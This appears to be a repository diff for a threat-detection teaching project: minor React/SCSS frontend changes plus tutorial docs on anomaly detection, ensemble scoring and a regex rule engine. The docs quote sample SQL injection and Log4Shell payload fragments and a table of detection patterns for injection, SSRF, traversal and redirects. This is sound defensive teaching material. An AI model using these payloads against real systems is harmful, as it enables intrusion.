</QueryClientProvider>

4
PROJECTS/advanced/ai-threat-detection/frontend/src/components/alert-feed.module.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// alert-feed.module.scss
//
// CSS module for the live alert feed component
//
// Styles the feed container with surface background and
// muted border, a header row with title and connection
// status dot (green connected, red disconnected), and a

4
PROJECTS/advanced/ai-threat-detection/frontend/src/components/method-badge.module.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// method-badge.module.scss
//
// CSS module for the HTTP method badge component
//
// Styles a monospace semibold 2xs text badge with wide
// letter spacing and a default $text-lighter color. Seven
// method variant classes (.get through .options) apply

4
PROJECTS/advanced/ai-threat-detection/frontend/src/components/severity-badge.module.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// severity-badge.module.scss
//
// CSS module for the severity badge component
//
// Styles a compact inline-flex pill badge with full border
// radius, 2xs semibold uppercase text, and wider letter
// spacing. Three severity variants map to token pairs:

4
PROJECTS/advanced/ai-threat-detection/frontend/src/components/stat-card.module.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// stat-card.module.scss
//
// CSS module for the dashboard metric card component
//
// Styles a column flex card with surface background, muted
// border, and large border radius. Displays a 3xl semibold
// value with tight letter spacing, an sm lighter label, and

4
PROJECTS/advanced/ai-threat-detection/frontend/src/components/threat-detail.module.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// threat-detail.module.scss
//
// CSS module for the threat detail slide-in panel
//
// Styles a full-height modal overlay (60% opacity black,
// z-modal) with a right-aligned 520px max-width panel.
// Contains a sticky header with close button, sectioned

13
PROJECTS/advanced/ai-threat-detection/frontend/src/components/threat-detail.tsx
View File

@ -4,7 +4,8 @@
//
// Modal dialog for full threat event inspection
//
// Renders a click-to-dismiss overlay with a detail panel
// Renders a click-to-dismiss overlay (also dismissable via
// Escape key) with a detail panel
// displaying four sections: Overview (severity badge,
// threat score to 4 decimals, detection timestamp, review
// status), Request (source IP, method, path, status code,
@ -16,6 +17,7 @@
// pages/threats
// ===================
import { useEffect } from 'react'
import { LuX } from 'react-icons/lu'
import type { ThreatEvent } from '@/api/types'
import { SeverityBadge } from './severity-badge'
@ -34,6 +36,15 @@ export function ThreatDetail({
threat,
onClose,
}: ThreatDetailProps): React.ReactElement | null {
useEffect(() => {
if (!threat) return
const handler = (e: KeyboardEvent) => {
if (e.key === 'Escape') onClose()
}
document.addEventListener('keydown', handler)
return () => document.removeEventListener('keydown', handler)
}, [threat, onClose])
if (!threat) return null
return (

4
PROJECTS/advanced/ai-threat-detection/frontend/src/core/app/shell.module.scss
View File

@ -1,10 +1,10 @@
// ===================
// © AngelaMos | 2026
// shell.module.scss
//
// Application shell layout styles with collapsible sidebar
// and responsive mobile drawer
//
// Styles a fixed-position sidebar (240px expanded, 64px
// collapsed) with dot-grid background, NavLink items with
// hover and active states, red-tinted nav icons, a chevron

79
PROJECTS/advanced/ai-threat-detection/frontend/src/core/app/toast.module.scss
View File

@ -1,79 +0,0 @@
// ===================
// © AngelaMos | 2026
// toast.module.scss
//
// Sonner toast notification theme overrides
//
// Applies global dark theme CSS custom properties to
// [data-sonner-toaster] for normal, success, error,
// warning, and info variants using $bg-surface-100,
// $border-default, and $text-default tokens. Styles
// [data-sonner-toast] with $radius-md border radius,
// medium-weight titles, light-colored descriptions, and
// hover-brightened close buttons. Error toasts receive a
// $error-default border accent. Connects to App.tsx,
// styles/_index
// ===================
@use '@/styles' as *;
:global {
[data-sonner-toaster] {
--normal-bg: #{$bg-surface-100};
--normal-border: #{$border-default};
--normal-text: #{$text-default};
--success-bg: #{$bg-surface-100};
--success-border: #{$border-default};
--success-text: #{$text-default};
--error-bg: #{$bg-surface-100};
--error-border: #{$error-default};
--error-text: #{$text-default};
--warning-bg: #{$bg-surface-100};
--warning-border: #{$border-default};
--warning-text: #{$text-default};
--info-bg: #{$bg-surface-100};
--info-border: #{$border-default};
--info-text: #{$text-default};
font-family: $font-sans;
}
[data-sonner-toast] {
border-radius: $radius-md;
padding: $space-3 $space-4;
font-size: $font-size-sm;
border: 1px solid $border-default;
background: $bg-surface-100;
color: $text-default;
[data-title] {
font-weight: $font-weight-medium;
}
[data-description] {
color: $text-light;
font-size: $font-size-xs;
}
[data-close-button] {
background: none;
border: none;
padding: 0;
cursor: pointer;
color: $text-muted;
@include transition-fast;
@include hover {
color: $text-default;
}
}
}
[data-sonner-toast][data-type='error'] {
border-color: $error-default;
}
}

76
PROJECTS/advanced/ai-threat-detection/frontend/src/core/app/toast.scss Normal file
View File

@ -0,0 +1,76 @@
// ===================
// © AngelaMos | 2026
// toast.scss
// Sonner toast notification theme overrides
// Applies global dark theme CSS custom properties to
// [data-sonner-toaster] for normal, success, error,
// warning, and info variants using $bg-surface-100,
// $border-default, and $text-default tokens. Styles
// [data-sonner-toast] with $radius-md border radius,
// medium-weight titles, light-colored descriptions, and
// hover-brightened close buttons. Error toasts receive a
// $error-default border accent. Connects to styles.scss
// ===================
@use '@/styles' as *;
[data-sonner-toaster] {
--normal-bg: #{$bg-surface-100};
--normal-border: #{$border-default};
--normal-text: #{$text-default};
--success-bg: #{$bg-surface-100};
--success-border: #{$border-default};
--success-text: #{$text-default};
--error-bg: #{$bg-surface-100};
--error-border: #{$error-default};
--error-text: #{$text-default};
--warning-bg: #{$bg-surface-100};
--warning-border: #{$border-default};
--warning-text: #{$text-default};
--info-bg: #{$bg-surface-100};
--info-border: #{$border-default};
--info-text: #{$text-default};
font-family: $font-sans;
}
[data-sonner-toast] {
border-radius: $radius-md;
padding: $space-3 $space-4;
font-size: $font-size-sm;
border: 1px solid $border-default;
background: $bg-surface-100;
color: $text-default;
[data-title] {
font-weight: $font-weight-medium;
}
[data-description] {
color: $text-light;
font-size: $font-size-xs;
}
[data-close-button] {
background: none;
border: none;
padding: 0;
cursor: pointer;
color: $text-muted;
@include transition-fast;
@include hover {
color: $text-default;
}
}
}
[data-sonner-toast][data-type='error'] {
border-color: $error-default;
}

4
PROJECTS/advanced/ai-threat-detection/frontend/src/pages/dashboard/dashboard.module.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// dashboard.module.scss
//
// CSS module for the dashboard page layout
//
// Styles a padded column flex page with a 4-column
// responsive stat row (collapsing to 2 then 1 at lg/sm
// breakpoints), a severity section with a proportional

4
PROJECTS/advanced/ai-threat-detection/frontend/src/pages/models/models.module.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// models.module.scss
//
// CSS module for the models management page
//
// Styles a status banner with loaded (green) and not-loaded
// (amber) severity-themed variants, a retrain button with
// accent-muted background and spinning icon animation during

10
PROJECTS/advanced/ai-threat-detection/frontend/src/pages/threats/index.tsx
View File

@ -7,8 +7,9 @@
//
// Exports a lazy-loaded Component (displayName ThreatsPage)
// that manages offset, severity filter (ALL/HIGH/MEDIUM/
// LOW), and source IP text filter as local state. Passes
// these as ThreatParams to useThreats with PAGINATION
// LOW), and source IP text filter as local state. The IP
// filter uses useDeferredValue to avoid per-keystroke API
// calls. Passes these as ThreatParams to useThreats with PAGINATION
// defaults. Renders a responsive table with time, source
// IP, MethodBadge, path, score to 3 decimals,
// SeverityBadge, and status code columns. Rows are
@ -19,7 +20,7 @@
// components/threat-detail, config
// ===================
import { useState } from 'react'
import { useDeferredValue, useState } from 'react'
import { useThreats } from '@/api/hooks'
import type { ThreatEvent } from '@/api/types'
import { MethodBadge, SeverityBadge, ThreatDetail } from '@/components'
@ -37,12 +38,13 @@ export function Component(): React.ReactElement {
const [severity, setSeverity] = useState<SeverityFilter>('ALL')
const [sourceIp, setSourceIp] = useState('')
const [selectedThreat, setSelectedThreat] = useState<ThreatEvent | null>(null)
const deferredIp = useDeferredValue(sourceIp)
const params = {
limit: PAGINATION.DEFAULT_LIMIT,
offset,
...(severity !== 'ALL' && { severity }),
...(sourceIp && { source_ip: sourceIp }),
...(deferredIp && { source_ip: deferredIp }),
}
const { data, isLoading } = useThreats(params)

4
PROJECTS/advanced/ai-threat-detection/frontend/src/pages/threats/threats.module.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// threats.module.scss
//
// CSS module for the threats table page
//
// Styles a filter bar with select dropdown and text input
// (accent-bordered on focus), a scrollable table wrapper
// with uppercase column headers, clickable rows with hover

4
PROJECTS/advanced/ai-threat-detection/frontend/src/styles.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// styles.scss
//
// Global stylesheet entry point with root element setup
//
// Forwards tokens, fonts, and mixins for downstream module
// consumption, applies the CSS reset, and defines #root as
// a full-viewport column flex container with $bg-default

4
PROJECTS/advanced/ai-threat-detection/frontend/src/styles/_index.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// _index.scss
//
// SCSS module forwarding index for the styles package
//
// Forwards tokens, fonts, and mixins so that downstream
// SCSS modules can access the full design system with a
// single @use '@/styles' as * import

4
PROJECTS/advanced/ai-threat-detection/frontend/src/styles/_mixins.scss
View File

@ -1,10 +1,10 @@
// ===================
// © AngelaMos | 2026
// _mixins.scss
//
// Reusable SCSS mixins for layout, typography, transitions,
// and responsiveness
//
// Defines a $breakpoints map (xs through 2xl) with
// breakpoint-up and breakpoint-down media query mixins,
// flex layout helpers (flex-center, flex-between,

2
PROJECTS/advanced/ai-threat-detection/frontend/src/styles/_reset.scss
View File

@ -35,8 +35,6 @@
html {
font-size: 16px;
-moz-text-size-adjust: none;
-webkit-text-size-adjust: none;
text-size-adjust: none;
overflow-x: hidden;
}

4
PROJECTS/advanced/ai-threat-detection/frontend/src/styles/_tokens.scss
View File

@ -1,9 +1,9 @@
// ===================
// © AngelaMos | 2026
// _tokens.scss
//
// Design token variables for the entire UI system
//
// Defines the full token set consumed by all SCSS modules:
// 8px-base spacing scale ($space-0 through $space-32),
// typography scale (3xs through 5xl), font weights (regular,

160
PROJECTS/advanced/ai-threat-detection/learn/00-OVERVIEW.md Normal file
View File

@ -0,0 +1,160 @@
# AngelusVigil: AI Threat Detection
## What This Is
AngelusVigil is a real-time threat detection engine that analyzes nginx web server logs using a 3-model ML ensemble (autoencoder + random forest + isolation forest) to classify HTTP traffic as benign or malicious. It deploys as a dockerized sidecar alongside any nginx-based infrastructure with zero code changes required. The system processes logs through a 4-stage async pipeline, extracts 35-dimensional feature vectors, scores traffic using both rule-based and ML detection, and surfaces alerts through a React dashboard with live WebSocket updates.
## Why This Matters
Web application firewalls (WAFs) catch known attack patterns, but they miss novel attacks and struggle with behavioral anomalies. In the 2017 Equifax breach (CVE-2017-5638), attackers exploited an Apache Struts vulnerability that signature-based tools missed for months. The 2021 Log4Shell vulnerability (CVE-2021-44228) spread across millions of servers before WAF rules were updated. The Capital One breach in 2019 involved a misconfigured WAF that an insider exploited to exfiltrate 100 million customer records.
ML-based detection fills these gaps by learning what "normal" looks like for your specific traffic and flagging deviations. This project builds that system from scratch.
**Real world scenarios where this applies:**
- A SaaS platform running nginx as a reverse proxy wants to detect SQL injection, path traversal, and credential stuffing without buying a commercial WAF
- A DevSecOps team needs real time alerting when attack patterns spike against their API endpoints, with enough context (GeoIP, feature vectors, matched rules) to triage quickly
- A security team wants to combine signature based detection (day 0 coverage) with ML models that improve over time as they label true/false positives from production traffic
## What You'll Learn
This project teaches you how ML-powered threat detection works at the infrastructure level. By building it yourself, you'll understand:
**Security Concepts:**
- Anomaly detection using autoencoders trained exclusively on normal traffic, so anything the model can't reconstruct well is suspicious
- Ensemble learning where multiple models vote on whether a request is malicious, reducing false positives from any single model
- Cold-start detection using ModSecurity CRS-inspired rules that provide immediate coverage before ML models are trained
- Feature engineering for HTTP traffic, turning raw log lines into 35-dimensional numeric vectors that capture request structure, behavioral patterns, and temporal signals
**Technical Skills:**
- Building async data pipelines with backpressure using `asyncio.Queue` and poison-pill shutdown propagation
- Training and exporting PyTorch and scikit-learn models to ONNX format for fast CPU inference
- Implementing sliding window aggregation with Redis sorted sets for per-IP behavioral features
- Writing a Watchdog-based file tailer that handles nginx log rotation without missing lines
**Tools and Techniques:**
- ONNX Runtime for cross-framework model serving (27% faster than native PyTorch inference)
- MLflow experiment tracking for model versioning and metric logging
- Redis pub/sub for real-time WebSocket relay across multiple backend workers
- Docker Compose orchestration of a 5-service production stack
## Prerequisites
Before starting, you should understand:
**Required knowledge:**
- Python async/await (you'll work with `asyncio.Queue`, `asyncio.Task`, and async context managers throughout the pipeline)
- Basic machine learning concepts (what training/inference means, what loss functions do, the difference between supervised and unsupervised learning)
- HTTP fundamentals (request methods, status codes, query strings, headers, how nginx access logs are structured)
- Docker and Docker Compose (the entire system runs as containers)
**Tools you'll need:**
- Docker and Docker Compose v2
- Python 3.13+ (the backend uses modern type syntax like `dict[str, float]` and `X | None`)
- Node.js 20+ and pnpm (for the React frontend)
- just (command runner, like make but better)
- uv (Python package manager)
**Helpful but not required:**
- Experience with FastAPI or any async Python web framework
- Familiarity with PyTorch or scikit-learn
- Understanding of Redis data structures (sorted sets, pub/sub)
## Quick Start
Get the project running locally:
```bash
cd PROJECTS/advanced/ai-threat-detection
# Install just if you don't have it
# https://github.com/casey/just
# One-time setup: install deps and create .env
just setup
# Edit .env with your values (at minimum set POSTGRES_PASSWORD and API_KEY)
# GEOIP credentials are optional for local dev
# Start the dev stack (postgres, redis, backend with hot-reload, frontend)
just dev-up
# In another terminal, start the dev log generator to simulate traffic
just devlog-up
# Generate some mixed traffic (normal + attacks)
just devlog-simulate mixed 200
```
Expected output: Open `http://localhost:5173` in your browser. You should see the dashboard with stat cards showing detected threats, a severity distribution bar, a live alert feed receiving WebSocket events, and ranked lists of top attacker IPs and most targeted paths.
The backend starts in rules-only mode. To enable ML detection, train the models:
```bash
just vigil-train
```
After training completes (about 2 minutes with synthetic data), restart the backend and it will load the ONNX models and switch to hybrid detection mode.
## Project Structure
```
ai-threat-detection/
├── backend/
│ ├── app/
│ │ ├── api/ # FastAPI route handlers (health, threats, stats, models, ws)
│ │ ├── core/
│ │ │ ├── alerts/ # AlertDispatcher: store + publish scored events
│ │ │ ├── detection/ # RuleEngine, InferenceEngine, ensemble scoring
│ │ │ ├── enrichment/ # GeoIP lookups via MaxMind
│ │ │ ├── features/ # Feature extraction, Redis aggregation, encoding
│ │ │ └── ingestion/ # Log tailer, parsers, 4-stage pipeline
│ │ ├── models/ # SQLModel ORM (ThreatEvent, ModelMetadata)
│ │ ├── schemas/ # Pydantic request/response models
│ │ ├── services/ # Database query logic (threat_service, stats_service)
│ │ ├── config.py # Pydantic Settings (env vars, defaults, validation)
│ │ └── factory.py # App factory with async lifespan
│ ├── ml/ # Training pipeline (orchestrator, splitting, export, validation)
│ ├── cli/ # Typer CLI (train, retrain, replay commands)
│ ├── tests/ # pytest suite (parsers, features, detection, integration)
│ └── alembic/ # Database migrations
├── frontend/
│ ├── src/
│ │ ├── api/ # React Query hooks, Zod schemas, Axios client
│ │ ├── components/ # AlertFeed, SeverityBadge, MethodBadge, StatCard, ThreatDetail
│ │ ├── core/ # Router config, shell layout, query client
│ │ └── pages/ # Dashboard, Threats (table + filters), Models
│ └── vite.config.ts
├── dev-log/ # Synthetic nginx traffic generator for testing
├── infra/ # Dockerfiles, redis.conf, nginx.conf
├── compose.yml # Production 5-service stack
├── dev.compose.yml # Development stack with hot-reload
└── justfile # Task runner commands
```
## Next Steps
1. **Understand the concepts** - Read [01-CONCEPTS.md](./01-CONCEPTS.md) to learn anomaly detection, ensemble methods, and feature engineering for HTTP traffic
2. **Study the architecture** - Read [02-ARCHITECTURE.md](./02-ARCHITECTURE.md) to see how the 4-stage pipeline, Redis windowing, and ONNX inference fit together
3. **Walk through the code** - Read [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) for a detailed walkthrough of the ingestion pipeline, rule engine, ML training, and frontend
4. **Extend the project** - Read [04-CHALLENGES.md](./04-CHALLENGES.md) for ideas like adding new model types, integrating with SIEM tools, or building an active learning workflow
## Common Issues
**Backend fails to start with "database connection refused"**
```
sqlalchemy.exc.OperationalError: connection to server at "localhost" ... refused
```
Solution: Make sure PostgreSQL is running. If using Docker, check `just dev-ps` to verify the postgres container is healthy. The backend depends on `postgres:service_healthy`, so it will wait, but if postgres itself failed to start, check the logs with `just dev-logs postgres`.
**"onnxruntime not installed" warning at startup**
This is expected if you haven't installed the ML dependencies. The system falls back to rules-only mode automatically. To enable ML detection, run `cd backend && uv sync --group ml` and then train the models with `just vigil-train`.
**WebSocket alerts not appearing on the dashboard**
Check that Redis is running (`just dev-logs redis`). The WebSocket relay depends on Redis pub/sub. Also verify the backend is processing logs by hitting `http://localhost:8000/health` and checking the `stats` field in the response.
## Related Projects
If you found this interesting, check out:
- [SIEM Dashboard](../../intermediate/siem-dashboard/) - Build a Security Information and Event Management dashboard with Flask, MongoDB, and Redis Streams for log aggregation and correlation
- [Honeypot Network](../honeypot-network/) - Deploy deceptive services that generate the kind of attack traffic this project detects
- [API Security Scanner](../../intermediate/api-security-scanner/) - Active vulnerability scanning that complements this project's passive detection approach

445
PROJECTS/advanced/ai-threat-detection/learn/01-CONCEPTS.md Normal file
View File

@ -0,0 +1,445 @@
# Core Security Concepts
This document covers the security and machine learning concepts behind AngelusVigil. These aren't textbook definitions. We'll dig into how each concept is actually implemented in the codebase and why the design choices matter.
## Anomaly Detection
### What It Is
Anomaly detection identifies data points that don't fit the expected pattern. In the context of web traffic, "expected" means the normal behavior of legitimate users and applications. Anything that deviates significantly from that baseline is flagged as potentially malicious.
This is fundamentally different from signature-based detection (like traditional WAFs), which compares requests against a database of known attack patterns. Signature detection can only catch attacks it already knows about. Anomaly detection can catch attacks it has never seen before, as long as they look different from normal traffic.
### Why It Matters
In December 2021, the Log4Shell vulnerability (CVE-2021-44228) was disclosed. Within hours, attackers were sending requests containing `${jndi:ldap://...}` payloads to millions of servers. WAF vendors scrambled to push rule updates, but many organizations were exposed for days before rules were available. An anomaly detection system trained on normal traffic would have flagged these requests immediately. The `${jndi:` substring has high entropy, unusual character distribution, and doesn't match any legitimate path or query pattern.
The 2020 SolarWinds attack (SUNBURST) is another example. The attackers used legitimate-looking HTTP requests to blend in with normal Orion platform traffic. But their request timing, path patterns, and behavioral fingerprints were subtly different from real management traffic. A well-tuned anomaly detector monitoring those signals could have raised early warnings.
### How It Works
AngelusVigil uses an **autoencoder** for anomaly detection. The concept is simple: train a neural network to compress and reconstruct normal traffic. If a new request can't be reconstructed well (high reconstruction error), it's probably abnormal.
```
Input (35 features) ──► Encoder ──► Bottleneck (6 dims) ──► Decoder ──► Reconstruction (35 features)
│
Compare with input
│
MSE = anomaly score
```
The autoencoder architecture in this project:
```
35 ──► 24 ──► 12 ──► 6 ──► 12 ──► 24 ──► 35
input bottleneck output
```
The bottleneck forces the network to learn a compressed representation of normal traffic. Attack requests contain patterns the autoencoder never saw during training, so they reconstruct poorly. The reconstruction error (mean squared error between input and output) becomes the anomaly score.
During training, only normal (benign) traffic is used. The model learns to compress and reconstruct legitimate requests. During inference, the reconstruction error is compared against a calibrated threshold (set at the 99.5th percentile of validation set errors). Requests exceeding this threshold are flagged as anomalous.
### Common Attacks That Anomaly Detection Catches
1. **Zero-day exploits** - Novel attack payloads that don't match any known signatures. The Log4Shell example above is a perfect case: the request structure is so unusual that anomaly detection flags it even without a specific rule.
2. **Slow-and-low attacks** - Attackers who spread requests across time to evade rate limits. The windowed aggregation features (unique paths, method entropy, inter-request timing) capture behavioral patterns that per-request rules miss.
3. **Application-layer DDoS** - Requests that are individually valid but collectively abnormal. A legitimate user doesn't hit 200 unique paths in 5 minutes with perfectly uniform 100ms spacing between requests. The per-IP windowed features expose this.
4. **Credential stuffing** - Repeated POST requests to login endpoints from a single IP or a distributed botnet. Per-IP features like `req_count_1m`, `error_rate_5m`, and `unique_paths_5m` build a behavioral profile that catches this even when individual requests look normal.
### Limitations
Anomaly detection produces false positives. A legitimate user doing something unusual (bulk API calls, automated testing) will trigger alerts. That's why AngelusVigil uses an ensemble approach rather than relying on the autoencoder alone, and why it supports analyst review labels for active learning.
It also can't tell you *what* an attack is. The autoencoder says "this is weird" but doesn't say "this is SQL injection." That's what the rule engine and random forest classifier add.
## Ensemble Learning
### What It Is
Ensemble learning combines predictions from multiple models to make a final decision. The idea is that different models have different strengths and weaknesses. Combining them produces better results than any single model alone.
AngelusVigil uses three models with weighted voting:
```
┌──────────────────┐
│ Autoencoder (AE) │ Weight: 0.40
│ Unsupervised │ "How weird is this request?"
└────────┬─────────┘
│
┌──────────┐ ┌───────────┴───────────┐ ┌──────────────┐
│ Feature │───►│ Ensemble Fusion │───►│ Final Score │
│ Vector │ │ Weighted Average │ │ [0.0, 1.0] │
└──────────┘ └───────────┬───────────┘ └──────────────┘
│
┌────────┴─────────┐
│ Random Forest │ Weight: 0.40
│ Supervised │ "Is this an attack?"
└────────┬─────────┘
│
┌────────┴─────────┐
│ Isolation Forest │ Weight: 0.20
│ Unsupervised │ "Is this an outlier?"
└──────────────────┘
```
### Why Three Models?
Each model brings a different perspective:
**Autoencoder (40% weight)** - Trained only on normal traffic. Good at catching anything that looks "off" compared to the baseline. High recall (catches most attacks) but can be noisy (flags unusual but benign requests too). The reconstruction error approach means it doesn't need labeled attack data to learn.
**Random Forest (40% weight)** - Trained on labeled data (both normal and attack samples). Good at classifying known attack types with high precision. Uses SMOTE oversampling to handle the class imbalance problem (attacks are rare compared to normal traffic). Can't catch attack types it wasn't trained on.
**Isolation Forest (20% weight)** - Another unsupervised approach that isolates anomalies by random partitioning. Anomalies require fewer splits to isolate because they sit in sparse regions of the feature space. Gets lower weight because it overlaps somewhat with the autoencoder's anomaly detection capability but uses a fundamentally different algorithm (tree-based vs. neural network).
### Why It Matters
In 2014, JPMorgan Chase was breached through a compromised web server. Their IDS flagged the initial access, but a single model's alert was classified as a false positive and ignored. The attackers maintained access for two months, eventually compromising 76 million household records. Ensemble systems make this kind of single-model failure less likely because multiple independent models would need to agree that traffic is benign.
### How Scores Are Combined
The ensemble fusion happens in two stages. First, raw model scores are normalized to [0, 1]:
```python
def normalize_ae_score(error: float, threshold: float) -> float:
if threshold <= 0:
return 0.0
return min(error / (threshold * 2), 1.0)
def normalize_if_score(raw_score: float) -> float:
return (1 - raw_score) / 2.0
```
The autoencoder score is normalized against 2x the calibrated threshold. The isolation forest score is inverted (sklearn returns negative values for anomalies, positive for normal) and scaled.
Then the normalized scores are fused with weighted averaging:
```python
def fuse_scores(scores: dict[str, float], weights: dict[str, float]) -> float:
total = 0.0
weight_sum = 0.0
for key, weight in weights.items():
if key in scores:
total += scores[key] * weight
weight_sum += weight
if weight_sum == 0:
return 0.0
return total / weight_sum
```
The fusion function gracefully handles missing models. If only the autoencoder and random forest are loaded, the isolation forest weight is excluded and the remaining weights are renormalized. This supports partial model availability during retraining.
Finally, the ML ensemble score is blended with the rule engine score:
```python
def blend_scores(ml_score: float, rule_score: float, ml_weight: float = 0.7) -> float:
return min(ml_score * ml_weight + rule_score * (1.0 - ml_weight), 1.0)
```
ML gets 70% influence, rules get 30%. This means a high-confidence rule match (like a Log4Shell pattern) still contributes significantly to the final score even if the ML models are uncertain.
### Severity Classification
The blended score maps to three severity tiers:
| Score Range | Severity | Action |
|---|---|---|
| 0.70 - 1.00 | HIGH | Store + publish alert + WebSocket broadcast |
| 0.50 - 0.69 | MEDIUM | Store + publish alert |
| 0.00 - 0.49 | LOW | Log only |
## Feature Engineering for HTTP Traffic
### What It Is
Feature engineering transforms raw data (nginx log lines) into numeric vectors that ML models can process. The quality of your features determines the ceiling of your model's performance. You can always improve a model's architecture, but you can't overcome bad features.
### Why It Matters
A raw nginx log line looks like this:
```
192.168.1.100 - - [15/Mar/2026:14:22:31 +0000] "GET /api/users?id=1' OR '1'='1 HTTP/1.1" 200 1234 "-" "sqlmap/1.5"
```
A human can immediately spot the SQL injection payload and the sqlmap user agent. But an ML model needs numbers. Feature engineering is the bridge between "text a human can read" and "numbers a model can learn from."
### The 35-Dimensional Feature Vector
AngelusVigil extracts two types of features that are concatenated into a single 35-dimensional vector:
**23 Per-Request Features** (stateless, computed from a single log entry):
| Feature | Type | What It Captures |
|---|---|---|
| `http_method` | categorical | GET, POST, PUT, DELETE, etc. |
| `path_depth` | numeric | Number of `/` segments (deeper paths are unusual) |
| `path_entropy` | numeric | Shannon entropy of the path string (attack payloads have high entropy) |
| `path_length` | numeric | Raw character count |
| `query_string_length` | numeric | Long query strings often carry injection payloads |
| `query_param_count` | numeric | Number of `&`-separated parameters |
| `has_encoded_chars` | boolean | URL-encoded characters like `%27` (single quote) |
| `has_double_encoding` | boolean | Double-encoded chars like `%2527` (evasion technique) |
| `status_code` | numeric | HTTP response code |
| `status_class` | categorical | 2xx, 3xx, 4xx, 5xx grouping |
| `response_size` | numeric | Body size in bytes |
| `hour_of_day` | numeric | 0-23, captures time-of-day patterns |
| `day_of_week` | numeric | 0-6, captures weekly patterns |
| `is_weekend` | boolean | Weekend vs weekday |
| `ua_length` | numeric | User-Agent string length |
| `ua_entropy` | numeric | Shannon entropy of the UA string |
| `is_known_bot` | boolean | Matches known bot signatures (Googlebot, etc.) |
| `is_known_scanner` | boolean | Matches scanner signatures (sqlmap, nikto, etc.) |
| `has_attack_pattern` | boolean | Matches combined attack regex |
| `special_char_ratio` | numeric | Ratio of non-alphanumeric characters in the path |
| `file_extension` | categorical | `.php`, `.asp`, `.env`, etc. |
| `country_code` | categorical | GeoIP country code |
| `is_private_ip` | boolean | RFC 1918 private address |
**12 Per-IP Windowed Features** (stateful, computed from Redis sorted sets):
| Feature | Window | What It Captures |
|---|---|---|
| `req_count_1m` | 1 min | Immediate request rate (burst detection) |
| `req_count_5m` | 5 min | Short-term sustained rate |
| `req_count_10m` | 10 min | Medium-term pattern |
| `error_rate_5m` | 5 min | Ratio of 4xx/5xx responses (scanners trigger lots of errors) |
| `unique_paths_5m` | 5 min | Path diversity (scanners enumerate many paths) |
| `unique_uas_10m` | 10 min | User-Agent diversity (rotating UAs is a bot fingerprint) |
| `method_entropy_5m` | 5 min | Shannon entropy of HTTP methods used |
| `avg_response_size_5m` | 5 min | Mean response body size |
| `status_diversity_5m` | 5 min | Count of distinct status codes |
| `path_depth_variance_5m` | 5 min | Variance in path depth |
| `inter_request_time_mean` | 10 min | Average time between requests in ms |
| `inter_request_time_std` | 10 min | Standard deviation of request intervals |
### Shannon Entropy
Shannon entropy measures the randomness of a string. The formula:
```
H(s) = -Σ (count(c) / len(s)) * log2(count(c) / len(s))
```
Normal paths like `/api/v1/users` have low entropy because characters repeat and follow predictable patterns. Attack payloads like `/api/search?q=%27%20UNION%20SELECT%20*%20FROM%20users--` have high entropy because they contain a wide variety of characters.
The implementation in the codebase:
```python
def _shannon_entropy(s: str) -> float:
if not s:
return 0.0
length = len(s)
counts = Counter(s)
return -sum((c / length) * math.log2(c / length) for c in counts.values())
```
This is applied to both the request path and the User-Agent string. Legitimate User-Agents like `Mozilla/5.0 (Windows NT 10.0; Win64; x64)` have predictable entropy ranges. Scanner tools like `sqlmap/1.5.2#stable` or randomized UAs used by botnets tend to fall outside those ranges.
### Why Windowed Features Need Redis
Per-request features are stateless. You can compute them from a single log line. But behavioral detection requires context: "Is this IP sending requests faster than usual? Has it hit an unusual number of distinct paths?"
AngelusVigil stores per-IP request history in Redis sorted sets, with the Unix timestamp as the score. This makes windowed queries efficient:
```
ZADD ip:192.168.1.100:requests <timestamp> <request_id>
ZCOUNT ip:192.168.1.100:requests <5m_ago> +inf
```
The `ZCOUNT` operation returns how many requests from this IP fell within the last 5 minutes, computed in O(log N) time. Seven sorted sets per IP track different dimensions (requests, paths, statuses, user agents, sizes, methods, depths), and all writes + reads happen in a single pipelined round-trip to minimize latency.
Keys auto-expire after 15 minutes (`KEY_TTL = 900`), so Redis memory usage stays bounded even under heavy traffic.
## Rule-Based Detection (Cold-Start)
### What It Is
Rule-based detection uses handcrafted patterns to identify known attack types. AngelusVigil's rule engine is inspired by the ModSecurity Core Rule Set (CRS), the open source WAF ruleset used by OWASP.
### Why It Matters
ML models need training data. On day one, you have no data and no models. The rule engine provides immediate protection with zero training, covering the most common web attack categories.
Even after ML models are trained, rules remain valuable. They catch well-known attacks with high confidence and provide explainability ("this request matched the SQL injection pattern") that ML scores alone can't.
### Attack Pattern Rules
The rule engine evaluates 9 regex-based patterns against each request URI:
| Rule | Score | What It Catches |
|---|---|---|
| LOG4SHELL | 0.95 | `${jndi:ldap://...}` and variations (CVE-2021-44228) |
| COMMAND_INJECTION | 0.90 | Shell metacharacters, backtick execution, pipe chains |
| SQL_INJECTION | 0.85 | `UNION SELECT`, `OR 1=1`, comment sequences, `SLEEP()` |
| XSS | 0.80 | `<script>`, `javascript:`, event handlers (`onerror=`) |
| FILE_INCLUSION | 0.75 | `php://filter`, `data://`, `expect://` wrappers |
| SSRF | 0.70 | Internal IP ranges (`169.254.169.254`), cloud metadata endpoints |
| CRLF_INJECTION | 0.65 | `%0d%0a` sequences for header injection |
| PATH_TRAVERSAL | 0.60 | `../`, `..%2f`, encoded traversal sequences |
| OPEN_REDIRECT | 0.55 | `//evil.com`, URL manipulation in redirect parameters |
### Behavioral Threshold Rules
Two rules use windowed features rather than pattern matching:
| Rule | Threshold | Score |
|---|---|---|
| RATE_ANOMALY | > 100 requests/minute | 0.30 |
| HIGH_ERROR_RATE | > 50% 4xx/5xx in 5 minutes | 0.25 |
### Scoring Logic
When multiple rules match, the final score isn't just the maximum. It's the highest individual score plus a 0.05 boost per additional matching rule, capped at 1.0:
```python
scores = sorted([s for _, s in matched], reverse=True)
threat_score = min(
scores[0] + _BOOST_PER_ADDITIONAL_RULE * (len(scores) - 1),
1.0,
)
```
